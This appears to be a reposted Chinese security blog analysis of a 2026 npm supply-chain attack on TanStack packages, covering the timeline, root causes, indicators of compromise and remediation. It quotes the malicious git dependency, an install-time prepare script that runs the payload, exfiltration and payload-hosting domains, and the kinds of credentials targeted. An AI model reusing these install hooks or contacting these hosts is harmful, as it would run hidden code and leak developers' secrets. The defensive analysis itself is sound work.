文章总结: 2026年5月11日,攻击者通过污染GitHubActions缓存、利用pull_request_target工作流执行恶意代码,并借助OIDC可信发布机制,从TanStack官方CI发布了42个@tanstack/*包的84个恶意版本。该事件并非npm账号被盗,而是前端基础设施发布链路被绕过,恶意包通过git依赖执行脚本,旨在窃取开发环境与CI/CD中的各类敏感凭据,具备供应链蠕虫传播能力。
综合评分: 90
文章分类: 供应链安全,漏洞分析,安全运营,web安全
前端核心生态 TanStack 被投毒:攻击者没有偷 npm 账号,却借官方 CI 发了 84 个恶意版本
原创
XueMian XueMian
雪面科技
2026年5月12日 19:40 澳大利亚
在小说阅读器读本章
去阅读
前端核心生态 TanStack 被投毒
攻击者没有偷 npm 账号,却借官方 CI 发了 84 个恶意版本
摘要: TanStack 不是一个边缘 npm 包集合。它覆盖 Query、Table、Router、Start、Virtual 等项目,长期处在 React、Vue、Solid 等前端应用的关键依赖层。2026 年 5 月 11 日,攻击者借 GitHub Actions 缓存污染和 OIDC trusted publishing,从 TanStack 官方 CI 发布了 42 个 @tanstack/* 包的 84 个恶意版本。这次事件的重点不只是 npm 包被投毒,而是一个前端基础设施级项目的发布链路被绕过了信任边界。
npm 供应链攻击并不新鲜。typo-squatting、维护者账号钓鱼、postinstall 脚本偷 .env,这些打法这几年已经见过很多次。
但 2026 年 5 月 11 日的 TanStack 事件不太一样。攻击者没有长期控制 npm 账号,也没有把恶意代码合进 TanStack 主仓库源码。他们绕了一圈,把 GitHub Actions 的 PR 工作流、缓存机制和 npm OIDC trusted publishing 串到了一起。
这条链路大致是这样:先用一个看似普通的 fork PR 触发目标仓库的工作流,再污染后续 release workflow 会恢复的 pnpm 缓存;等正式发布流程运行时,恶意代码从官方 CI runner 里拿到短期 OIDC 发布身份,最后用 TanStack 的合法发布通道把恶意版本推到 npm。
麻烦就在这里。从 npm 的视角看,发布来源是可信的;从一些自动化扫描工具的视角看,包甚至可能带着 provenance。但实际执行环境已经被污染,来源可信并不等于产物可信。
本文时间均以 UTC 为准。事件核心窗口是 2026-05-11 19:20 到 19:26 UTC。
先把性质说清楚:这不是 npm 账号被盗
根据 TanStack 官方复盘,攻击者在 2026 年 5 月 11 日 19:20 至 19:26 UTC 之间,向 npm 发布了 42 个 @tanstack/* 包的 84 个恶意版本。多数包被连续发布了两个恶意版本。
受影响的主要是 TanStack Router / Start 相关包,例如:
@tanstack/history@tanstack/react-router@tanstack/router-core@tanstack/router-plugin@tanstack/router-vite-plugin@tanstack/react-start@tanstack/vue-router@tanstack/solid-router@tanstack/start-*@tanstack/*-adapter
TanStack 同时确认,下面这些包家族没有受到这次投毒影响:
-
@tanstack/query* -
@tanstack/table* -
@tanstack/form* -
@tanstack/virtual* -
@tanstack/store -
@tanstack/start这个 meta-package 本身
这里要和之前那个 unscoped tanstack 仿冒包区分开。那个包不在 TanStack 官方组织的 @tanstack scope 下,属于品牌碰瓷;这次则是官方 scope 下的真实包被发布了恶意版本,严重程度完全不同。
GitHub Security Advisory 已将该事件标为 Critical,CVE 编号为 CVE-2026-45321,CVSS 评分 9.6。
恶意包里改了什么
这批恶意版本留下了几个容易识别的指纹。
首先,package.json 里被加入了一个新的 optionalDependencies:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}
这个 @tanstack/setup 不是 npm registry 上的正常包,而是一个 GitHub git dependency,指向 tanstack/router fork network 里的 orphan commit。
npm 安装 Git dependency 时,会执行依赖里的生命周期脚本。这个 Git dependency 的 package.json 里写着:
"scripts": {
"prepare": "bun run tanstack_runner.js && exit 1"
}
也就是说,只要有人安装受影响版本:
npm install
pnpm install
yarn install
包管理器就会解析这个 optional dependency,拉取 GitHub 上的 payload commit,执行 prepare,然后运行恶意代码。
末尾的 && exit 1 也不是随手写的。因为这是 optional dependency,即使最后失败,包管理器也可能把它当成“可选依赖安装失败”处理。恶意代码已经执行完了,安装现场却只留下一个容易被忽略的失败。
另一个指纹是 tarball 根目录里多了一个约 2.3 MB 的混淆文件:
router_init.js
这个文件不属于正常包内容,也没有出现在包声明的 files 列表中。安全厂商的分析显示,它使用了典型 JavaScript obfuscator 风格:字符串数组轮转、十六进制标识符、控制流平坦化、死代码注入。换句话说,它不是给人读的。
从公开分析看,它至少做了三类事情:
- 在开发机或 CI runner 上搜集凭据
- 通过 Session/Oxen 相关网络外传数据
- 利用拿到的 npm、GitHub、OIDC 能力继续污染更多包
更准确地说,这不是单纯的 infostealer,而是带传播能力的供应链蠕虫。
它想拿什么
结合 TanStack 官方公告、GitHub Advisory、Socket 和 Aikido 的分析,payload 明显是冲着现代开发环境和 CI/CD 去的。目标包括:
- GitHub token、PAT、Actions 环境变量
- npm token 和发布权限
- GitHub Actions OIDC token
- AWS 环境变量、IMDS、Secrets Manager、SSM
- GCP metadata
- Kubernetes service account token
- HashiCorp Vault token 和集群内 Vault endpoint
- SSH 私钥
- 本地环境变量和常见凭据文件
- 开发工具目录,例如
.claude/、.vscode/
这不是只偷项目 .env 的脚本。它盯上的是发布权、云侧权限和横向移动能力。
很多 CI runner 上本来就会出现这些东西:
- npm 发布权限
- GitHub repository token
- cloud deploy key
- Kubernetes token
- Vault token
- production deploy secret
前端依赖只是入口,CI/CD 才是攻击者真正想进的地方。
时间线:一个 PR 怎么变成 npm 投毒
下面按公开信息整理关键节点。
2026-05-10:准备 fork 和恶意提交
攻击者创建了 TanStack/router 的 fork,并把 fork 改名为 configuration,降低它被普通 fork 搜索发现的概率。
随后攻击者在 fork 里制造恶意 commit,加入一个约 30000 行的 JS payload 文件:
packages/history/vite_setup.mjs
提交作者伪装成:
claude <[email protected]>
这里的 claude 不是 Anthropic 的 Claude,只是攻击者伪造的提交身份。现在很多仓库里都会出现 AI coding agent 的提交,这种伪装容易混进日常噪音。
2026-05-11 10:49:恶意 PR 打开
攻击者打开 PR,标题类似:
WIP: simplify history build
这个 PR 触发了 TanStack/router 的部分 pull_request_target 工作流,例如 bundle-size.yml 和 labeler.yml。
问题从这里开始。pull_request_target 运行在目标仓库上下文里,本来适合做评论、打标签这类不需要执行 PR 代码的事情。一旦它 checkout 并执行 fork PR 里的代码,就进入了 GitHub Security Lab 很早就提醒过的 “Pwn Request” 场景。
2026-05-11 11:11:恶意代码在 PR 工作流里执行
攻击者多次 force push,把恶意 commit 放到 PR head。bundle-size.yml 的 benchmark job checkout 了 PR merge ref,然后运行:
pnpm install
pnpm nx run @benchmarks/bundle-size:build
这一步执行了攻击者控制的构建逻辑。
有人可能会问:如果这个 job 权限是 read-only,没有 secrets,能造成多大影响?
关键在 Actions cache。缓存保存和恢复不只受 GITHUB_TOKEN 权限影响,还涉及 runner runtime token 和 GitHub 的 cache 服务机制。一个看似低权限的 PR job,仍然可能污染 base repo 作用域下后续 workflow 会恢复的缓存。
2026-05-11 11:29:GitHub Actions 缓存被污染
恶意代码把内容写进 pnpm store,并命中了 release workflow 后面会用到的缓存 key:
Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
PR job 结束时,Actions cache 保存了这个被污染的 pnpm store。缓存作用域是 refs/heads/main,也就是未来主分支 workflow 可以恢复到。
这一步很隐蔽:PR 可以关掉,branch 可以删掉,恶意 diff 也可以消失,但缓存还在。
攻击者随后把 PR force push 回无改动状态,关闭 PR,并删除分支。表面上看,这只是一个 0-file no-op PR;实际上发布链路里已经埋下了会被恢复的恶意内容。
2026-05-11 19:15:正常 PR 合并,release workflow 触发
TanStack 维护者合并了一个正常 PR,主分支 push 触发 release.yml。
release workflow 恢复了之前被污染的 pnpm store。恶意代码从“不可信 PR 工作流”横向移动到了“正式发布工作流”。
这也是 GitHub Actions cache poisoning 最危险的点:它让攻击者跨过了原本应该隔离的工作流边界。
2026-05-11 19:20:第一批恶意版本发布
npm registry 开始收到 @tanstack/[email protected] 等包的发布请求。
这些请求通过了 TanStack/router 的 GitHub Actions OIDC trusted-publisher 绑定认证,但不是来自 workflow 文件里原本定义的发布步骤。TanStack 官方复盘提到,真正的发布发生在测试/清理阶段运行的恶意代码里。
恶意代码利用 workflow 的:
permissions:
id-token: write
从 GitHub Actions runner 进程内存中提取 OIDC token,然后直接向 npm registry 发 POST 请求完成发布。
换句话说:
- npm 长期 token 没有被偷
- npm maintainer 账号没有直接失陷
- release workflow 文件本身没有被攻击者改掉
- 攻击者仍然用官方 CI 身份发布了恶意 npm 包
这是这次事件最值得关注的地方。
2026-05-11 19:26:第二批恶意版本发布
第二个主分支 push 触发了另一个 release workflow,同样恢复了被污染缓存,发布第二批恶意版本。最终影响面扩大到 42 个包、84 个版本。
2026-05-11 19:50 之后:外部研究员发现并报告
外部研究员很快在 GitHub issue 中公开报告异常,Socket、StepSecurity 等安全团队也参与确认。TanStack 维护者随后开始响应:
- 废弃受影响 npm 版本
- 联系 npm security 拉取恶意 tarball
- 清理 GitHub Actions cache
- 收回或限制团队 push 权限
- 重构问题 workflow
- 增加 repository owner guard
- 固定第三方 action 引用到 SHA
- 发布 GitHub Security Advisory
从公开时间线看,社区发现和项目响应都很快。但恶意版本在窗口期内已经可被安装。只要某台开发机或 CI runner 执行过受影响版本的 install,就应该按凭据暴露处理。同时。。。这也是我看过最多involved package的advisory 🤔
根因:三个机制单独看都常见,串起来就出事
这不是一个单点漏洞,而是几个信任假设叠在一起后崩了。
1. pull_request_target 执行了不可信 PR 代码
pull_request_target 的特殊之处在于,它运行在目标仓库上下文里,可以拥有比普通 fork PR 更高的权限。
它适合做:
- 给 PR 打标签
- 评论 PR
- 根据 metadata 做轻量处理
它不适合做:
- checkout fork PR 代码
npm installpnpm install- 执行 build/test
- 运行任何来自 PR 的脚本
原因很简单:PR 作者可以控制 package.json、构建脚本、测试文件和依赖声明。只要 workflow 执行这些内容,就等于允许 PR 作者在 runner 上运行代码。
GitHub Security Lab 早在 2021 年就专门写过 “Preventing pwn requests”,核心建议就是不要在 pull_request_target 里 checkout 并执行不可信 PR 内容。
2. GitHub Actions cache 跨越了信任边界
Actions cache 的设计目标是加速构建,不是做安全隔离。
在这次事件里,攻击者利用 PR job 写入缓存,正式 release workflow 后续恢复同一个缓存。缓存成了两个信任域之间的暗道。
Adnan Khan 在 2024 年关于 GitHub Actions cache poisoning 的研究里就指出过类似风险:如果不可信上下文能写缓存,而高权限 workflow 后续会恢复缓存,攻击者就有机会通过缓存横向移动。
TanStack 这次事件就是一个现实案例。
3. OIDC trusted publishing 被运行时劫持
OIDC trusted publishing 的价值很明确:减少长期 npm token 暴露。它通常比把 NPM_TOKEN 塞进 GitHub Secrets 里安全。
但它依赖一个前提:workflow 运行环境是干净的。
如果攻击者已经能在 runner 上执行代码,而该 workflow 又有 id-token: write,攻击者就可能获取或滥用 OIDC token,向 npm 换取短期发布能力。
这次事件说明,provenance 能证明包来自某个 workflow,却不能证明这个 workflow 运行时没有被污染。
所以不要把 provenance badge 当作“包一定干净”的证明。它是来源证明,不是安全证明。
IOC:怎么查自己有没有中招
如果你在 2026-05-11 19:20 到 19:30 UTC 附近安装过 TanStack Router/Start 相关依赖,建议立刻排查。
检查 lockfile
先搜这些指纹:
rg "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" .
rg "@tanstack/setup" .
rg "router_init.js" .
rg "tanstack_runner.js" .
rg "router_runtime.js" .
如果命中,先不要继续 npm install。把当前环境当成已经执行过恶意脚本处理。
安全下载 tarball 检查
如果要检查某个具体版本,不要直接 install,可以用 npm pack:
npm pack @tanstack/[email protected]
tar -xzf tanstack-react-router-1.169.5.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js
npm pack 只是下载 tarball,不会执行生命周期脚本,适合做离线分析。
关键 IOC
恶意 Git ref:
github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
伪造依赖名:
@tanstack/setup
恶意文件:
router_init.js
router_runtime.js
tanstack_runner.js
router_init.js SHA-256:
ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c
tanstack_runner.js SHA-256:
2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96
可疑缓存 key:
Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
可疑外联:
filev2.getsession.org
seed1.getsession.org
seed2.getsession.org
seed3.getsession.org
litter.catbox.moe/h8nc9u.js
litter.catbox.moe/7rrc6l.mjs
伪造提交身份:
claude <[email protected]>
攻击相关账号:
zblgg
voicproducoes
需要重点审计的地方
如果确认中招,不要只删 node_modules。这类 payload 的目标是凭据和持久化,至少要检查:
~/.npmrc- GitHub PAT 和
ghCLI 登录状态 .git-credentials~/.ssh/.claude/.vscode/tasks.json- CI/CD job logs
- npm publish logs
- GitHub Actions OIDC token 请求
- 云厂商 audit logs
- Kubernetes service account 使用记录
- Vault audit logs
只要恶意 install 在某台机器或 runner 上跑过,那台环境能读到的 secrets 都要按泄露处理。
应急处置建议
如果确认安装过受影响版本,可以按下面顺序处理。
1. 立刻升级到 patched versions
根据 GitHub Security Advisory 中列出的 patched versions 升级受影响包。不要继续使用 2026-05-11 19:20 到 19:26 UTC 发布的那批版本。
建议在干净环境里删除现有依赖和 lockfile 后重新安装:
rm -rf node_modules
rm -f package-lock.json pnpm-lock.yaml yarn.lock
npm install
生产项目不要盲删 lockfile 后直接上线。更合适的做法是在干净环境重建、review diff,再走正常发布流程。
2. 轮换所有可能暴露的凭据
建议优先处理:
- npm token 和 package publish 权限
- GitHub PAT、GitHub App token、Actions secrets
- AWS / GCP / Azure 凭据
- Kubernetes service account token
- Vault token
- SSH key
- 部署系统和内部平台 token
不要只轮换 npm token。攻击者真正需要的是横向移动能力。
3. 清理 CI runner 和开发机
如果是 GitHub-hosted runner,runner 生命周期结束后会销毁,但 secrets 仍然需要轮换。
如果是 self-hosted runner,要按主机失陷处理:
- 下线 runner
- 保存必要取证信息
- 重装或回滚到可信镜像
- 重新注册 runner
- 检查 runner workspace 和 cache 目录
开发机侧则重点查 .claude/、.vscode/、shell profile、npm cache、全局 npm 包。
4. 审计发布链路
检查最近是否有异常 npm publish:
- 不是团队成员触发的版本
- 不符合 release 节奏的版本
- provenance 指向异常 workflow run
- workflow 在测试失败或发布步骤跳过时仍出现 npm publish
- 包里出现
optionalDependencies指向 GitHub commit
这次事件容易误判的地方是“看起来确实由官方 workflow 发布”。所以审计时不能只看发布身份,还要看发布发生在 workflow 的哪个阶段。
对开源维护者的启示
不要在 pull_request_target 里跑不可信代码
这是第一条,也是最该优先修的地方。
如果需要构建 fork PR:
- 用
pull_request - 不给 secrets
- 不给写权限
- 不共享高权限缓存
如果需要评论结果:
- 低权限 workflow 只产出 artifact
- 高权限
workflow_run只读取经过严格约束的数据 - 不在高权限 workflow 里执行 artifact 中的二进制或脚本
发布 workflow 的缓存要单独隔离
发布流程不应该恢复任何可由 fork PR 或低信任 workflow 写入的缓存。
可行策略包括:
- release workflow 禁用依赖缓存
- release 使用只读、预热、签名校验过的缓存
- 缓存 key 加入可信上下文标识
- PR workflow 和 release workflow 使用不同 cache namespace
- 定期清理 Actions cache
缓存是性能优化,不是信任根。不要让几分钟构建加速变成发布链路风险。
OIDC 权限按 job 精确授予
不要在整个 workflow 顶层随手写:
permissions:
id-token: write
更合理的默认值是:
permissions:
contents: read
id-token: none
然后只在真正发布的 job 里开启:
jobs:
publish:
permissions:
contents: read
id-token: write
同时要确保 publish job 不执行来自不可信缓存、不可信 artifact、不可信依赖生命周期脚本的代码。
固定第三方 action 到 SHA
uses: owner/action@main 方便,但不适合关键发布链路。敏感 workflow 至少应该固定到 commit SHA:
uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332
版本 tag 比 @main 好,但 tag 仍可能被移动。真正敏感的发布流程,SHA pinning 更可靠。
provenance 不能单独当结论
这次事件已经说明:如果攻击者控制了 workflow 运行时,恶意包也可以拥有看似合理的来源记录。
自动化策略应该同时看:
- provenance
- tarball diff
- install scripts
- 新增 Git dependency
- 新增大体积混淆文件
- publish workflow step 是否符合预期
- 发布版本是否符合维护者行为模式
单一信号都不够。
对普通开发团队的提醒
TanStack 事件还有一个很现实的提醒:依赖安装不是低风险动作。
很多团队会在 CI 里直接:
npm install
npm test
npm run build
但在 npm 生态里,install 阶段本身就可能执行代码:
preinstallinstallpostinstall- Git dependency 的
prepare
所以依赖安装应该被视为代码执行边界,而不是普通下载。
一些可操作的防御措施:
- CI 中尽量使用 lockfile 和
npm ci - 对新增依赖做 review
- 对 Git dependency 做强约束
- 高风险窗口期可设置
npm config set ignore-scripts true - 对 package install 做 egress 限制
- 使用私有 registry / proxy 做延迟和审查
- 对新发布版本设置冷却期,避免第一时间拉取刚发布的版本
- 构建阶段使用最小权限云凭据
尤其不要让“安装依赖”的 job 拥有生产部署权限。安装依赖和发布部署最好拆成不同 job,不共享不必要的 secrets。
为什么这类事还会发生
现代软件供应链的默认假设越来越多,也越来越隐蔽。
我们依赖自动化:
- bot 自动跑测试
- CI 自动构建
- cache 自动恢复
- OIDC 自动发 token
- npm 自动发布
- provenance 自动生成
每个机制单独看都合理,但组合起来会形成复杂的隐式信任链。攻击者现在不只研究代码漏洞,也在研究发布流程、缓存边界和身份交换路径。
以前很多供应链攻击是“偷到钥匙再开门”。TanStack 这次更像是让门禁系统自己给攻击者发了一张临时通行证。
这也是它值得复盘的原因:它不只是一次前端包事故,更是一次 CI/CD 信任边界事故。
结语
TanStack 这次被投毒,表面上是 42 个 npm 包、84 个恶意版本;往深处看,是现代开源发布体系的一次压力测试。
攻击者没有简单偷 npm token,没有直接控制 maintainer 账号,也没有把恶意代码合进主仓库。他利用的是:
-
pull_request_target对 fork PR 的危险误用
-
GitHub Actions cache 在信任边界之间的共享
-
release workflow 对缓存的信任
-
OIDC trusted publishing 对运行时完整性的默认假设
这条链路提醒我们,CI/CD 已经是供应链安全的核心攻击面。
以后判断一个包是否可信,不能只看它是不是官方 scope、是不是有 provenance、是不是从 GitHub Actions 发布。还要多问一句:这个发布 workflow 的运行环境,真的干净吗?
参考资料
- TanStack 官方复盘:Postmortem: TanStack npm supply-chain compromise
- GitHub Security Advisory:GHSA-g7cv-rxg3-hmpx
- Socket 分析:TanStack npm Packages Compromised in Ongoing Mini Shai-Hulud Supply-Chain Attack
- Aikido 分析:Mini Shai-Hulud Is Back: npm Worm Hits over 160 Packages, including Mistral and Tanstack
- GitHub Security Lab:Preventing pwn requests
- Adnan Khan:The Monsters in Your Build Cache – GitHub Actions Cache Poisoning
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:雪面科技 XueMian XueMian《前端核心生态 TanStack 被投毒:攻击者没有偷 npm 账号,却借官方 CI 发了 84 个恶意版本》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论